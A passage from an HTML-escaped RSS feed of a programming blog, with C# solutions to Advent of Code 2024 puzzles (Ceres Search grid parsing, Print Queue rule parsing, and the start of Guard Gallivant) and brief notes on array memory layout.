&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="parsing"&gt;Parsing&lt;/h2&gt;


&lt;div id='CeresSearch.Parse.cs'&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cs" data-lang="cs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;namespace&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2024&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;partial&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;CeresSearch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;readonly&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;char&lt;/span&gt;&lt;span style="color:#111"&gt;[,]&lt;/span&gt; &lt;span style="color:#111"&gt;grid&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#111"&gt;CeresSearch&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;string&lt;/span&gt; &lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;StreamReader&lt;/span&gt; &lt;span style="color:#111"&gt;inputReader&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;List&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;char&lt;/span&gt;&lt;span style="color:#111"&gt;[]&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;rows&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;[];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;string?&lt;/span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;while&lt;/span&gt;&lt;span style="color:#111"&gt;((&lt;/span&gt;&lt;span style="color:#111"&gt;line&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;inputReader&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ReadLine&lt;/span&gt;&lt;span style="color:#111"&gt;())&lt;/span&gt; &lt;span style="color:#111"&gt;!=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;null&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;rows&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Add&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;line&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ToCharArray&lt;/span&gt;&lt;span style="color:#111"&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;rowCount&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;rows&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Count&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;colCount&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;rows&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;First&lt;/span&gt;&lt;span style="color:#111"&gt;().&lt;/span&gt;&lt;span style="color:#111"&gt;Length&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;grid&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;char&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;rowCount&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;colCount&lt;/span&gt;&lt;span style="color:#111"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#111"&gt;rowCount&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt;&lt;span style="color:#111"&gt;++)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#111"&gt;colCount&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt;&lt;span style="color:#111"&gt;++)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;grid&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;r&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;c&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;rows&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;r&lt;/span&gt;&lt;span style="color:#111"&gt;][&lt;/span&gt;&lt;span style="color:#111"&gt;c&lt;/span&gt;&lt;span style="color:#111"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For \(M \times N\) grids, C# has multi-dimensional arrays. These differ from
jagged arrays, whose elements are arrays with possibly different sizes. &lt;span class="citation-ref"&gt;&lt;a href="#Array"&gt;&lt;/a&gt;&lt;/span&gt; In memory, multi-dimensional arrays are laid out as 1D arrays. When
processing array data, cache locality impacts performance. If the computation
needs to access multiple rows (e.g., image convolution, this problem), then
multi-dimensional arrays offer an advantage. If processing row-by-row, then
jagged arrays will also have cache locality. However, if the array is larger
than 85Kb, then it ends in the large object heap, which is slower. &lt;span class="citation-ref"&gt;&lt;a href="#Mirkovic2024"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>AoC 2024 Day 05: Print Queue</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/05-print-queue/05-print-queue/</link><pubDate>Sat, 23 Aug 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/05-print-queue/05-print-queue/</guid><description>&lt;h2 id="parsing"&gt;Parsing&lt;/h2&gt;
&lt;p&gt;The notation &lt;code&gt;X|Y&lt;/code&gt; means that if both page number &lt;code&gt;X&lt;/code&gt; and page number &lt;code&gt;Y&lt;/code&gt; are to
be produced as part of an update, page number &lt;code&gt;X&lt;/code&gt; &lt;strong&gt;must&lt;/strong&gt; be printed at some
point before page number &lt;code&gt;Y&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The input contains page ordering rules (pairs of &lt;code&gt;X|Y&lt;/code&gt;) and print queues (e.g.,
&lt;code&gt;75, 47, 61, 53, 29&lt;/code&gt;).&lt;/p&gt;


&lt;div id='PrintQueue.Parse.cs'&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cs" data-lang="cs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;System.Collections.Immutable&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;System.Text.RegularExpressions&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;namespace&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2024&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;partial&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;PrintQueue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;readonly&lt;/span&gt; &lt;span style="color:#111"&gt;Dictionary&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;HashSet&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;orderingRules&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;[];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;readonly&lt;/span&gt; &lt;span style="color:#111"&gt;ImmutableList&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;ImmutableList&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;printJobs&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;[];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#111"&gt;PrintQueue&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;string&lt;/span&gt; &lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;StreamReader&lt;/span&gt; &lt;span style="color:#111"&gt;inputReader&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;string?&lt;/span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;while&lt;/span&gt; &lt;span style="color:#111"&gt;((&lt;/span&gt;&lt;span style="color:#111"&gt;line&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;inputReader&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ReadLine&lt;/span&gt;&lt;span style="color:#111"&gt;())&lt;/span&gt; &lt;span style="color:#111"&gt;!=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;null&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;var&lt;/span&gt; &lt;span style="color:#111"&gt;match&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;OrderingRuleRegex&lt;/span&gt;&lt;span style="color:#111"&gt;().&lt;/span&gt;&lt;span style="color:#111"&gt;Match&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;line&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;match&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;is&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;null&lt;/span&gt; &lt;span style="color:#111"&gt;||&lt;/span&gt; &lt;span style="color:#111"&gt;!&lt;/span&gt;&lt;span style="color:#111"&gt;match&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Success&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;break&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;var&lt;/span&gt; &lt;span style="color:#111"&gt;p1&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Parse&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;match&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Groups&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;p1&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;].&lt;/span&gt;&lt;span style="color:#111"&gt;Value&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;var&lt;/span&gt; &lt;span style="color:#111"&gt;p2&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Parse&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;match&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Groups&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;p2&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;].&lt;/span&gt;&lt;span style="color:#111"&gt;Value&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;var&lt;/span&gt; &lt;span style="color:#111"&gt;existed&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;orderingRules&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;TryGetValue&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;p1&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;out&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;var&lt;/span&gt; &lt;span style="color:#111"&gt;p1Rules&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;p1Rules&lt;/span&gt; &lt;span style="color:#111"&gt;??=&lt;/span&gt; &lt;span style="color:#111"&gt;[];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;p1Rules&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Add&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;p2&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(!&lt;/span&gt;&lt;span style="color:#111"&gt;existed&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;orderingRules&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Add&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;p1&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;p1Rules&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;var&lt;/span&gt; &lt;span style="color:#111"&gt;printJobsBuilder&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;printJobs&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ToBuilder&lt;/span&gt;&lt;span style="color:#111"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;while&lt;/span&gt; &lt;span style="color:#111"&gt;((&lt;/span&gt;&lt;span style="color:#111"&gt;line&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;inputReader&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ReadLine&lt;/span&gt;&lt;span style="color:#111"&gt;())&lt;/span&gt; &lt;span style="color:#111"&gt;!=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;null&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;printJobsBuilder&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Add&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Split&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;,&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;).&lt;/span&gt;&lt;span style="color:#111"&gt;Select&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Parse&lt;/span&gt;&lt;span style="color:#111"&gt;).&lt;/span&gt;&lt;span style="color:#111"&gt;ToImmutableList&lt;/span&gt;&lt;span style="color:#111"&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;printJobs&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;printJobsBuilder&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ToImmutable&lt;/span&gt;&lt;span style="color:#111"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt; [GeneratedRegex(@&amp;#34;(?&amp;lt;p1&amp;gt;\d+)\|(?&amp;lt;p2&amp;gt;\d+)&amp;#34;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;partial&lt;/span&gt; &lt;span style="color:#111"&gt;Regex&lt;/span&gt; &lt;span style="color:#111"&gt;OrderingRuleRegex&lt;/span&gt;&lt;span style="color:#111"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id="part-one"&gt;Part One&lt;/h2&gt;
&lt;p&gt;Determine which updates are already in the correct order. What do you get if
you add up the middle page number from those correctly-ordered updates?&lt;/p&gt;</description></item><item><title>AoC 2024 Day 06: Guard Gallivant</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/06-guard-gallivant/06-guard-gallivant/</link><pubDate>Sat, 23 Aug 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/06-guard-gallivant/06-guard-gallivant/</guid><description>&lt;h2 id="parsing"&gt;Parsing&lt;/h2&gt;
&lt;p&gt;The map shows the current position of the guard with &lt;code&gt;^&lt;/code&gt; (to indicate the guard
is facing &lt;strong&gt;up&lt;/strong&gt; from the perspective of the map). Any &lt;strong&gt;obstructions&lt;/strong&gt; -
crates, desks, alchemical reactors, etc., are shown as &lt;code&gt;#&lt;/code&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;#&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;.&lt;/td&gt;&lt;/tr&gt;
